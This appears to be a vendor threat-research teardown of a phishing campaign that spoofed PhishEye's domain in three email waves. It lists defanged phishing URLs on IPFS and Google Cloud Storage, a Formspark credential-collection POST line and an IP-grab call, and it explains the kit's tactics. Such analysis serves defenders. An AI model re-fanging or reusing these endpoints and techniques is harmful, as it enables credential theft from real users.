We Got Phished With Our Own Brand

TL;DR — Over roughly 21 hours on 3–4 August 2026, a phishing operator hit three of PhishEye's own mailboxes (sales@, contact@, partners@) with spoofed [email protected] emails. Each wave used a different lure (a fake cPanel "Confirm You're Not a Robot" check, a "5 messages on hold" notice, and a "your partner account was disconnected" alert) and a different cloned login page (a cPanel Webmail form, a PhishEye-branded sign-in cloning our own homepage, and a Roundcube webmail form). The pages were hosted on IPFS and on Google Cloud Storage, with the victim's email pre-filled from the URL, and credentials POSTed to Formspark. DMARC quarantine caught all three before they reached anyone. Here is the teardown.

About this analysis. This is first-hand PhishEye Threat Research. We analyzed the raw headers of three captured messages, decoded their base64 HTML payloads, and examined the rendered pages in isolation. No genuine credentials were entered at any point — the only values submitted were dummy strings, used solely to confirm where each form sends its data, and they are redacted here. All indicators are defanged, and two unrelated third parties' addresses that leaked in the payloads are withheld to avoid re-victimizing them.

Getting phished with your own brand

There is a particular irony in an anti-phishing company receiving phishing that impersonates the anti-phishing company. What started as a single odd email turned out to be a small campaign: the same operator worked through our public aliases one after another, changing the story each time but reusing the same delivery machinery.

The three waves we captured, in order:

• Wave A — sales@, 3 Aug 09:56 UTC. Subject "[[email protected]]: Please Confirm To Continue." A cPanel-styled "SECURITY VERIFICATION / Confirm You're Not a Robot" notice claiming unusual activity on a "Webmail Security Portal," a 24-hour deadline, and two buttons ("Ignore for now" / "Verify identity now").
• Wave B — contact@, 3 Aug 13:38 UTC. Subject "[[email protected]]: Message Restriction Activity." A green "5 new messages have been put on hold" notice with a Review Messages button.
• Wave C — partners@, 4 Aug 06:38 UTC. Subject "[[email protected]]: Please Confirm To Continue." A "Dear Partners" note claiming the account "has been disconnected from sending and receiving mails," urging the reader to "re-confirm" via a Re-confirm account button.

Three pretexts, three visual designs, one operator. To a human skimming a busy inbox, each reads like a routine account-maintenance notice from their own provider. The whole trick is a small dose of urgency and a single button.

The headers: how we know it is fake (and why none of it reached anyone)

The delivery headers dismantle all three messages the same way, and the consistency across waves is itself the evidence of a single campaign.

The decisive line is the authentication result. Every message claimed header.from=phisheye.com but carried no valid SPF and no valid DKIM, so it failed DMARC. Because PhishEye publishes a DMARC policy of quarantine, our provider diverted each one out of the inbox:

Authentication-Results:
  dkim=none;
  spf=none (... has no SPF policy when checking 34.59.89.37);
  dmarc=fail reason="No valid SPF, No valid DKIM"
    header.from=phisheye.com (policy=quarantine)

That is the whole defensive story in three lines. An attacker can write From: [email protected] on any message, but they cannot make it pass SPF or DKIM for a domain they do not control. A published DMARC policy of quarantine (or reject) turns that failure into an automatic quarantine. DMARC is exactly what stopped exact-domain spoofs of our own brand from landing in a colleague's inbox, three times.

The rest of the envelope, identical across waves, confirms a throwaway operation:

• Null return-path (<>) on every message — typical of bulk, bounce-averse senders.
• Sent from Google Cloud VMs. Waves A and B originated from 34.59.89[.]37; wave C from 34.59.52[.]203. Both reverse-resolve to …bc.googleusercontent.com — Google Cloud instances, the kind of disposable compute rented by the hour. Two neighboring IPs across two days points to one actor cycling hosts.
• A spoofed HELO of [10.88.0.4] on all three — a private RFC 1918 address that has no business greeting an internet mail server.
• Delivered through Spacemail relays (mx1/mx2.spacemail.com), with the receiving scanner stamping every message X-Recommended-Action: reject.
• The HTML GENERATOR meta tag was MSHTML in all three — the payloads were exported through Microsoft's Outlook/Word HTML engine, a common fingerprint of a shared kit.

The payloads: IPFS and Google Cloud Storage

Each email's body was base64-encoded HTML. Decoded, the buttons point to attacker pages that share a design pattern but rotate their hosting.

Waves A and B used IPFS, the InterPlanetary File System, served through a public gateway (inbrowser[.]link):

# Wave A (sales@)
hxxps://bafybeigt65hw3av37ul5srurqxhe2lwrzbn7ba55ksbrmywsrz46wcyfqa.ipfs.inbrowser[.]link/#[email protected]
# Wave B (contact@)
hxxps://bafybeib2edqbugkcdrnu23wlwehojmu64xwwn4bgrteofkewzoprjppmfi.ipfs.inbrowser[.]link/#[email protected]

The long bafy… string is a content identifier (CID) — the page is addressed by the hash of its content, not a domain. There is no registrar to suspend and no host to null-route; the same content is reachable through any IPFS gateway. That is what makes IPFS attractive to phishers: it is takedown-resistant by design.

Wave C moved to Google Cloud Storage, abusing a lookalike bucket name to borrow Google's trusted domain:

# Wave C (partners@)
hxxps://storage.googleapis[.]com/pikespeakorrbust[.]com/Inde%25345.html#[email protected]

The bucket is literally named pikespeakorrbust.com so the URL reads like a real domain, and storage.googleapis.com carries Google's reputation. The %2525 is a double-encoded percent sign, an old trick to slip odd filenames past naive URL parsers.

In every wave the victim's own address rides along as a URL fragment (#sales@…, #contact@…, #partners@…). The page reads that fragment with JavaScript and pre-fills the email field, so the target sees their real address already on the "login" screen and only has to "confirm" their password. The fragment never leaves the browser, which keeps the personalized target out of server logs and some URL-scanner pipelines.

The campaign leaked its own tracks

The payloads carried a forensic gift. Two of the buttons still had a data-saferedirecturl attribute — a wrapper Gmail adds when it processes a message. Its presence means that exact HTML had previously passed through a Gmail-hosted mailbox, and the operator simply copied an already-sent copy into the blast aimed at us. Left embedded were:

• two further IPFS CIDs on the ipfs[.]io gateway (bafybeicnaixj2fymiihyhqvpevgs2je5rcndmbi42wptkyel3y6isipwye and bafkreihmm5ytrbg6vwyki27hbu7oy2sssx7led75nt2i2oruukjmycmska), and
• two prior recipients' addresses — one at a Taiwanese company, one at a Singapore-based aviation firm. Both were targets of the same blast, so we are withholding their addresses and domains rather than naming organizations that did nothing wrong.

Messages crafted only for us would not carry other organizations' addresses. This is a mass-mailed template reused recipient after recipient, with the operator sloppily leaving previous sends' Google wrappers in place.

The fake login pages

Opened in isolation, the pages show why the lures work. The design tracks the pretext:

• Wave B (contact@) served a PhishEye-branded page. The gateway rendered a clone of PhishEye's own homepage as the backdrop, with a centered PhishEye sign-in modal on top: our logo, the PHISHEYE wordmark, the email field pre-filled, a password field, "Remember me," and a Sign in button. On submit it returned "Invalid password! Please try again" in red. That error is not a validation check; it is a harvesting tactic that banks the first password, nudges the victim to assume a typo, and collects a second, more careful attempt.
• Waves A and C served commodity webmail clones. Wave A showed a cPanel-style Webmail login: the orange "Webmail" wordmark, an "Email Address" field already filled with the target address, a password box prompting "Enter your email password.", a "Reset Password" link, and a row of language options along the bottom. Wave C showed a Roundcube login instead — the classic dark grey panel with "Full Email" and "Password" fields and a "Roundcube Webmail" footer, again pre-filled. Neither carried PhishEye branding; they impersonate the generic hosting-provider webmail a small business would actually log into.

Cloning our homepage costs nothing: the attacker only needs a screenshot or an embedded copy of a public page. The brand you are trying to protect becomes the set dressing for the page attacking your users.

The credential harvest: Formspark and IP profiling

Captured submissions from the IPFS pages show where the stolen data goes. Waves A and B POST to the same Formspark endpoint:

POST hxxps://submit-form[.]com/PTcqlZZnQ
Content-Type: application/x-www-form-urlencoded
Referer/Origin: the IPFS inbrowser[.]link phishing page
Body: email=<victim address>&password=<redacted>

Formspark (submit-form.com) is a legitimate "form backend as a service." The attacker never has to stand up a server, database, or C2 to collect credentials; they paste one form ID into a static page and let a SaaS deliver the harvest. The shared form ID across waves A and B is another thread tying the campaign together.

Wave C's Google-hosted Roundcube clone added a reconnaissance step, calling api.ipify.org to capture the visitor's public IP address before or alongside the credential prompt — useful for geolocating victims and for filtering out sandboxes and scanners.

Pairing content-addressed or cloud-bucket front ends with a form-SaaS back end yields a credential-phishing operation with almost no attacker-owned infrastructure at any layer: nothing to seize, only accounts and buckets to report.

Why this combination is a takedown problem

Each layer is chosen to frustrate the usual response:

• IPFS content-addressing means there is no domain to suspend. A CID resolves through any gateway, so blocking one gateway leaves the same content reachable through the next. Takedown becomes a request to gateway operators and pinning services to stop serving a hash, which is slower and less complete than a registrar suspension.
• Google Cloud Storage lends the attacker storage.googleapis.com, a trusted domain that cannot be blocklisted wholesale, plus a bucket named to look like a real domain. The lever is a report to Google Cloud abuse to remove the object or bucket.
• A legitimate form SaaS as the collector means the exfil endpoint (submit-form.com) is a trusted domain with real customers. The lever is an abuse report to kill the specific form ID.
• Exact-domain sender spoofing only works against organizations that have not locked down email authentication, which is why the single most effective control here is one you set once at the DNS level.

What defenders should do

• Publish an enforcing DMARC policy. This campaign died three times at p=quarantine. Move to p=quarantine or p=reject with aligned SPF and DKIM so exact-domain spoofs of your brand are quarantined or bounced automatically. If you are not there yet, our DMARC record generator and DMARC record checker will get you started.
• Treat public IPFS gateways and open cloud buckets as high-risk in the browser. *.ipfs.* gateway hosts and storage.googleapis.com/<bucket> paths hosting login forms are rarely needed for business. Consider alerting on, or blocking, credential-form submissions that originate from them at the proxy.
• Alert on form-SaaS exfil and IP-profiling calls. Outbound POSTs to form-backend services (submit-form.com and similar), and calls to api.ipify.org from a page that is not your own site, are strong credential-theft signals. Report the specific form ID to the provider's abuse channel.
• Watch for pre-filled login pages reached from email. A page that already knows your address (email supplied in the URL fragment) and only asks for a password is a classic harvesting pattern, whatever brand it wears.
• Train on the maintenance-notice pretexts. "Confirm you're not a robot," "messages on hold," and "your account was disconnected, re-confirm" are all variants of the same lure. The real fix lives in your own webmail or admin console, never on a link in the notice.
• If anyone did type a password, treat it as already stolen. These pages POST straight to the collector, and the "Invalid password! Please try again" re-prompt is designed to bank a second attempt. Rotate that password everywhere it was reused, revoke active sessions, and check mailbox rules and forwarding for anything the attacker added.
• Report the indicators in parallel. Submit the IPFS CIDs to gateway operators and pinning services, the Google Cloud Storage bucket to Google abuse, and the Formspark form ID to the vendor, at the same time as blocking. Do not rely on a single takedown path.

Indicators (first-hand, defanged)

Defanged; re-fang by replacing [.] with . and hxxps with https — these are live/known-malicious, handle in isolation. Do not visit the pages.

# Messages (spoof) — 3 waves, 3-4 Aug 2026
From (spoofed):     no-reply@phisheye[.]com
Envelope-from:      <>                        # null return-path on all
Subjects:           [[email protected]]: Please Confirm To Continue.
                    [[email protected]]: Message Restriction Activity.
                    [[email protected]]: Please Confirm To Continue.
Sending IPs:        34.59.89[.]37             # waves A + B (googleusercontent.com)
                    34.59.52[.]203            # wave C (googleusercontent.com)
HELO:               [10.88.0.4]               # spoofed private IP on all
Relays:             mx1.spacemail[.]com , mx2.spacemail[.]com
HTML generator:     MSHTML                    # Outlook-exported template
Provider verdict:   X-Recommended-Action: reject ; dmarc=fail (policy=quarantine)

# Phishing pages (do NOT visit)
# Wave A — IPFS (inbrowser[.]link gateway) — cPanel Webmail clone
hxxps://bafybeigt65hw3av37ul5srurqxhe2lwrzbn7ba55ksbrmywsrz46wcyfqa.ipfs.inbrowser[.]link/#[email protected]
# Wave B — IPFS (inbrowser[.]link gateway) — PhishEye-branded clone
hxxps://bafybeib2edqbugkcdrnu23wlwehojmu64xwwn4bgrteofkewzoprjppmfi.ipfs.inbrowser[.]link/#[email protected]
# Wave C — Google Cloud Storage — Roundcube clone
hxxps://storage.googleapis[.]com/pikespeakorrbust[.]com/Inde%25345.html#[email protected]
# Additional CIDs leaked via Gmail safe-redirect wrappers (ipfs[.]io gateway)
bafybeicnaixj2fymiihyhqvpevgs2je5rcndmbi42wptkyel3y6isipwye
bafkreihmm5ytrbg6vwyki27hbu7oy2sssx7led75nt2i2oruukjmycmska

# Harvest + recon
POST endpoint:      hxxps://submit-form[.]com/PTcqlZZnQ   # Formspark (waves A + B)
Recon call:         hxxps://api.ipify[.]org/?format=json  # visitor IP grab (wave C)
Fields harvested:   email , password

Sources

• First-hand PhishEye Threat Research captures at sales@, contact@, and [email protected] (delivered to the [email protected] catch-all), 3–4 August 2026. Analysis based on the raw headers, decoded base64 HTML payloads, and the rendered pages examined in isolation. Only dummy values were ever submitted, purely to identify the collectors; those values are redacted throughout.

FAQ

Was PhishEye compromised? No. The emails only spoofed the phisheye.com From address; they were sent from unrelated Google Cloud servers with no valid SPF or DKIM. Our DMARC policy quarantined all three, so none reached a real inbox as legitimate mail. Spoofing a From header requires no access to the impersonated domain.

Is this one attacker or several? One operator running several waves. Across three messages the sending pattern, HELO, template engine, URL-fragment trick, and (for two waves) the same Formspark form ID are identical, and the payloads even leaked earlier recipients from the same blast.

Why host on IPFS and Google Cloud Storage? Both give the attacker takedown resistance and borrowed trust: IPFS addresses content by hash with no domain to suspend, and storage.googleapis.com carries Google's reputation with a bucket named to look like a real site. Neither requires attacker-owned infrastructure.

How were the credentials going to be stolen? The pages pre-fill the victim's email from the URL and ask only for a password, then POST it to a Formspark endpoint (submit-form.com), a legitimate form-backend service abused as a collector. One wave also called api.ipify.org to record the victim's IP.

What single control stops this? An enforcing DMARC policy (quarantine or reject) with aligned SPF and DKIM. It automatically quarantined every exact-domain spoof of our own brand before anyone saw it.

---

About the authors

PhishEye Threat Research analyzes phishing and brand-impersonation campaigns for defenders. This teardown is based on three phishing emails received at our own addresses on 3–4 August 2026, analyzed from their headers, decoded payloads, and the rendered pages examined in isolation. No genuine credentials were entered; the dummy values used to identify the collectors are redacted, and we have withheld two unrelated third parties' addresses that leaked in the payloads.